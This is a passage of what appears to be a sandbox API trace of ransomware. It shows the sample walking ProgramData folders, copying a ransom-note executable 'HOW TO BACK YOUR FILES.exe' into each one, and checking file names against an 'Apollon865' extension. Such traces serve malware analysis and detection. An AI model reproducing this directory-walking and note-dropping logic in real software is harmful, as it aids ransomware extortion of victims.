	[0050.776] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.777] CloseHandle (hObject=0x15c) returned 1
	[0050.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.777] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.777] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.777] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.777] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0050.777] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0050.777] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.777] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.778] GetLastError () returned 0x0
	[0050.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.778] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.778] CloseHandle (hObject=0x15c) returned 1
	[0050.778] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.778] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.778] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.778] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.778] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="5p5NrGJn0jS HALPmcxz.dat" | out: lpString1="5p5NrGJn0jS HALPmcxz.dat") returned="5p5NrGJn0jS HALPmcxz.dat"
	[0050.778] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24
	[0050.778] lstrlenW (lpString="Apollon865") returned 10
	[0050.778] lstrcmpiW (lpString1="LPmcxz.dat", lpString2="Apollon865") returned 1
	[0050.778] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Default Pictures" | out: lpString1="Default Pictures") returned="Default Pictures"
	[0050.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0050.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf898
	[0050.819] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0050.819] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1
	[0050.819] lstrcmpiW (lpString1="guest.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.819] lstrcmpiW (lpString1="guest.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0050.819] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="guest.bmp" | out: lpString1="guest.bmp") returned="guest.bmp"
	[0050.819] lstrlenW (lpString="guest.bmp") returned 9
	[0050.819] lstrlenW (lpString="Apollon865") returned 10
	[0050.820] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="user.bmp" | out: lpString1="user.bmp") returned="user.bmp"
	[0050.820] lstrlenW (lpString="user.bmp") returned 8
	[0050.820] lstrlenW (lpString="Apollon865") returned 10
	[0050.820] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures"
	[0050.820] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures"
	[0050.820] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.820] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.820] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.821] GetLastError () returned 0x0
	[0050.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.821] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.821] CloseHandle (hObject=0x15c) returned 1
	[0050.821] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.821] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f932690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f932690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.821] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.821] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.821] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile10.bmp" | out: lpString1="usertile10.bmp") returned="usertile10.bmp"
	[0050.821] lstrlenW (lpString="usertile10.bmp") returned 14
	[0050.821] lstrlenW (lpString="Apollon865") returned 10
	[0050.821] lstrcmpiW (lpString1="tile10.bmp", lpString2="Apollon865") returned 1
	[0050.821] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile11.bmp" | out: lpString1="usertile11.bmp") returned="usertile11.bmp"
	[0050.821] lstrlenW (lpString="usertile11.bmp") returned 14
	[0050.821] lstrlenW (lpString="Apollon865") returned 10
	[0050.821] lstrcmpiW (lpString1="tile11.bmp", lpString2="Apollon865") returned 1
	[0050.822] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile12.bmp" | out: lpString1="usertile12.bmp") returned="usertile12.bmp"
	[0050.822] lstrlenW (lpString="usertile12.bmp") returned 14
	[0050.822] lstrlenW (lpString="Apollon865") returned 10
	[0050.822] lstrcmpiW (lpString1="tile12.bmp", lpString2="Apollon865") returned 1
	[0050.822] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile13.bmp" | out: lpString1="usertile13.bmp") returned="usertile13.bmp"
	[0050.822] lstrlenW (lpString="usertile13.bmp") returned 14
	[0050.822] lstrlenW (lpString="Apollon865") returned 10
	[0050.822] lstrcmpiW (lpString1="tile13.bmp", lpString2="Apollon865") returned 1
	[0050.822] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile14.bmp" | out: lpString1="usertile14.bmp") returned="usertile14.bmp"
	[0050.822] lstrlenW (lpString="usertile14.bmp") returned 14
	[0050.822] lstrlenW (lpString="Apollon865") returned 10
	[0050.822] lstrcmpiW (lpString1="tile14.bmp", lpString2="Apollon865") returned 1
	[0050.822] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile15.bmp" | out: lpString1="usertile15.bmp") returned="usertile15.bmp"
	[0050.822] lstrlenW (lpString="usertile15.bmp") returned 14
	[0050.822] lstrlenW (lpString="Apollon865") returned 10
	[0050.822] lstrcmpiW (lpString1="tile15.bmp", lpString2="Apollon865") returned 1
	[0050.822] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile16.bmp" | out: lpString1="usertile16.bmp") returned="usertile16.bmp"
	[0050.822] lstrlenW (lpString="usertile16.bmp") returned 14
	[0050.822] lstrlenW (lpString="Apollon865") returned 10
	[0050.822] lstrcmpiW (lpString1="tile16.bmp", lpString2="Apollon865") returned 1
	[0050.822] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile17.bmp" | out: lpString1="usertile17.bmp") returned="usertile17.bmp"
	[0050.822] lstrlenW (lpString="usertile17.bmp") returned 14
	[0050.822] lstrlenW (lpString="Apollon865") returned 10
	[0050.822] lstrcmpiW (lpString1="tile17.bmp", lpString2="Apollon865") returned 1
	[0050.823] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile18.bmp" | out: lpString1="usertile18.bmp") returned="usertile18.bmp"
	[0050.823] lstrlenW (lpString="usertile18.bmp") returned 14
	[0050.823] lstrlenW (lpString="Apollon865") returned 10
	[0050.823] lstrcmpiW (lpString1="tile18.bmp", lpString2="Apollon865") returned 1
	[0050.823] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile19.bmp" | out: lpString1="usertile19.bmp") returned="usertile19.bmp"
	[0050.823] lstrlenW (lpString="usertile19.bmp") returned 14
	[0050.823] lstrlenW (lpString="Apollon865") returned 10
	[0050.823] lstrcmpiW (lpString1="tile19.bmp", lpString2="Apollon865") returned 1
	[0050.823] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile20.bmp" | out: lpString1="usertile20.bmp") returned="usertile20.bmp"
	[0050.823] lstrlenW (lpString="usertile20.bmp") returned 14
	[0050.823] lstrlenW (lpString="Apollon865") returned 10
	[0050.823] lstrcmpiW (lpString1="tile20.bmp", lpString2="Apollon865") returned 1
	[0050.823] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile21.bmp" | out: lpString1="usertile21.bmp") returned="usertile21.bmp"
	[0050.823] lstrlenW (lpString="usertile21.bmp") returned 14
	[0050.823] lstrlenW (lpString="Apollon865") returned 10
	[0050.823] lstrcmpiW (lpString1="tile21.bmp", lpString2="Apollon865") returned 1
	[0050.823] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile22.bmp" | out: lpString1="usertile22.bmp") returned="usertile22.bmp"
	[0050.823] lstrlenW (lpString="usertile22.bmp") returned 14
	[0050.823] lstrlenW (lpString="Apollon865") returned 10
	[0050.823] lstrcmpiW (lpString1="tile22.bmp", lpString2="Apollon865") returned 1
	[0050.823] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile23.bmp" | out: lpString1="usertile23.bmp") returned="usertile23.bmp"
	[0050.823] lstrlenW (lpString="usertile23.bmp") returned 14
	[0050.823] lstrlenW (lpString="Apollon865") returned 10
	[0050.823] lstrcmpiW (lpString1="tile23.bmp", lpString2="Apollon865") returned 1
	[0050.824] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile24.bmp" | out: lpString1="usertile24.bmp") returned="usertile24.bmp"
	[0050.824] lstrlenW (lpString="usertile24.bmp") returned 14
	[0050.824] lstrlenW (lpString="Apollon865") returned 10
	[0050.824] lstrcmpiW (lpString1="tile24.bmp", lpString2="Apollon865") returned 1
	[0050.824] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile25.bmp" | out: lpString1="usertile25.bmp") returned="usertile25.bmp"
	[0050.824] lstrlenW (lpString="usertile25.bmp") returned 14
	[0050.824] lstrlenW (lpString="Apollon865") returned 10
	[0050.824] lstrcmpiW (lpString1="tile25.bmp", lpString2="Apollon865") returned 1
	[0050.824] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile26.bmp" | out: lpString1="usertile26.bmp") returned="usertile26.bmp"
	[0050.824] lstrlenW (lpString="usertile26.bmp") returned 14
	[0050.824] lstrlenW (lpString="Apollon865") returned 10
	[0050.824] lstrcmpiW (lpString1="tile26.bmp", lpString2="Apollon865") returned 1
	[0050.824] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile27.bmp" | out: lpString1="usertile27.bmp") returned="usertile27.bmp"
	[0050.824] lstrlenW (lpString="usertile27.bmp") returned 14
	[0050.824] lstrlenW (lpString="Apollon865") returned 10
	[0050.824] lstrcmpiW (lpString1="tile27.bmp", lpString2="Apollon865") returned 1
	[0050.824] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile28.bmp" | out: lpString1="usertile28.bmp") returned="usertile28.bmp"
	[0050.824] lstrlenW (lpString="usertile28.bmp") returned 14
	[0050.824] lstrlenW (lpString="Apollon865") returned 10
	[0050.824] lstrcmpiW (lpString1="tile28.bmp", lpString2="Apollon865") returned 1
	[0050.824] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile29.bmp" | out: lpString1="usertile29.bmp") returned="usertile29.bmp"
	[0050.824] lstrlenW (lpString="usertile29.bmp") returned 14
	[0050.824] lstrlenW (lpString="Apollon865") returned 10
	[0050.824] lstrcmpiW (lpString1="tile29.bmp", lpString2="Apollon865") returned 1
	[0050.824] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile30.bmp" | out: lpString1="usertile30.bmp") returned="usertile30.bmp"
	[0050.825] lstrlenW (lpString="usertile30.bmp") returned 14
	[0050.825] lstrlenW (lpString="Apollon865") returned 10
	[0050.825] lstrcmpiW (lpString1="tile30.bmp", lpString2="Apollon865") returned 1
	[0050.825] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile31.bmp" | out: lpString1="usertile31.bmp") returned="usertile31.bmp"
	[0050.825] lstrlenW (lpString="usertile31.bmp") returned 14
	[0050.825] lstrlenW (lpString="Apollon865") returned 10
	[0050.825] lstrcmpiW (lpString1="tile31.bmp", lpString2="Apollon865") returned 1
	[0050.825] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile32.bmp" | out: lpString1="usertile32.bmp") returned="usertile32.bmp"
	[0050.825] lstrlenW (lpString="usertile32.bmp") returned 14
	[0050.825] lstrlenW (lpString="Apollon865") returned 10
	[0050.825] lstrcmpiW (lpString1="tile32.bmp", lpString2="Apollon865") returned 1
	[0050.825] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile33.bmp" | out: lpString1="usertile33.bmp") returned="usertile33.bmp"
	[0050.825] lstrlenW (lpString="usertile33.bmp") returned 14
	[0050.825] lstrlenW (lpString="Apollon865") returned 10
	[0050.825] lstrcmpiW (lpString1="tile33.bmp", lpString2="Apollon865") returned 1
	[0050.825] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile34.bmp" | out: lpString1="usertile34.bmp") returned="usertile34.bmp"
	[0050.825] lstrlenW (lpString="usertile34.bmp") returned 14
	[0050.826] lstrlenW (lpString="Apollon865") returned 10
	[0050.826] lstrcmpiW (lpString1="tile34.bmp", lpString2="Apollon865") returned 1
	[0050.826] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile35.bmp" | out: lpString1="usertile35.bmp") returned="usertile35.bmp"
	[0050.826] lstrlenW (lpString="usertile35.bmp") returned 14
	[0050.826] lstrlenW (lpString="Apollon865") returned 10
	[0050.826] lstrcmpiW (lpString1="tile35.bmp", lpString2="Apollon865") returned 1
	[0050.826] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile36.bmp" | out: lpString1="usertile36.bmp") returned="usertile36.bmp"
	[0050.826] lstrlenW (lpString="usertile36.bmp") returned 14
	[0050.826] lstrlenW (lpString="Apollon865") returned 10
	[0050.826] lstrcmpiW (lpString1="tile36.bmp", lpString2="Apollon865") returned 1
	[0050.826] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile37.bmp" | out: lpString1="usertile37.bmp") returned="usertile37.bmp"
	[0050.826] lstrlenW (lpString="usertile37.bmp") returned 14
	[0050.826] lstrlenW (lpString="Apollon865") returned 10
	[0050.826] lstrcmpiW (lpString1="tile37.bmp", lpString2="Apollon865") returned 1
	[0050.826] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile38.bmp" | out: lpString1="usertile38.bmp") returned="usertile38.bmp"
	[0050.826] lstrlenW (lpString="usertile38.bmp") returned 14
	[0050.826] lstrlenW (lpString="Apollon865") returned 10
	[0050.826] lstrcmpiW (lpString1="tile38.bmp", lpString2="Apollon865") returned 1
	[0050.826] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile39.bmp" | out: lpString1="usertile39.bmp") returned="usertile39.bmp"
	[0050.826] lstrlenW (lpString="usertile39.bmp") returned 14
	[0050.826] lstrlenW (lpString="Apollon865") returned 10
	[0050.827] lstrcmpiW (lpString1="tile39.bmp", lpString2="Apollon865") returned 1
	[0050.827] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile40.bmp" | out: lpString1="usertile40.bmp") returned="usertile40.bmp"
	[0050.827] lstrlenW (lpString="usertile40.bmp") returned 14
	[0050.827] lstrlenW (lpString="Apollon865") returned 10
	[0050.827] lstrcmpiW (lpString1="tile40.bmp", lpString2="Apollon865") returned 1
	[0050.827] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile41.bmp" | out: lpString1="usertile41.bmp") returned="usertile41.bmp"
	[0050.827] lstrlenW (lpString="usertile41.bmp") returned 14
	[0050.827] lstrlenW (lpString="Apollon865") returned 10
	[0050.827] lstrcmpiW (lpString1="tile41.bmp", lpString2="Apollon865") returned 1
	[0050.827] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile42.bmp" | out: lpString1="usertile42.bmp") returned="usertile42.bmp"
	[0050.827] lstrlenW (lpString="usertile42.bmp") returned 14
	[0050.827] lstrlenW (lpString="Apollon865") returned 10
	[0050.827] lstrcmpiW (lpString1="tile42.bmp", lpString2="Apollon865") returned 1
	[0050.827] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile43.bmp" | out: lpString1="usertile43.bmp") returned="usertile43.bmp"
	[0050.827] lstrlenW (lpString="usertile43.bmp") returned 14
	[0050.827] lstrlenW (lpString="Apollon865") returned 10
	[0050.827] lstrcmpiW (lpString1="tile43.bmp", lpString2="Apollon865") returned 1
	[0050.827] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="usertile44.bmp" | out: lpString1="usertile44.bmp") returned="usertile44.bmp"
	[0050.827] lstrlenW (lpString="usertile44.bmp") returned 14
	[0050.827] lstrlenW (lpString="Apollon865") returned 10
	[0050.827] lstrcmpiW (lpString1="tile44.bmp", lpString2="Apollon865") returned 1
	[0050.827] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Search", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search"
	[0050.828] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Search" | out: lpString1="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search"
	[0050.828] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.828] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.828] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.828] GetLastError () returned 0x0
	[0050.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.828] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.828] CloseHandle (hObject=0x15c) returned 1
	[0050.828] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.828] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.829] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.829] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.829] lstrcpyW (in: lpString1=0x2d3e590, lpString2="Data" | out: lpString1="Data") returned="Data"
	[0050.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0050.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bcb70
	[0050.829] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0050.829] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.829] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.829] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.829] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.829] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0050.829] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Search\\Data", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data"
	[0050.829] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Search\\Data" | out: lpString1="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data"
	[0050.829] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.829] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\search\\data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.830] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.830] GetLastError () returned 0x0
	[0050.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.830] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.830] CloseHandle (hObject=0x15c) returned 1
	[0050.830] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
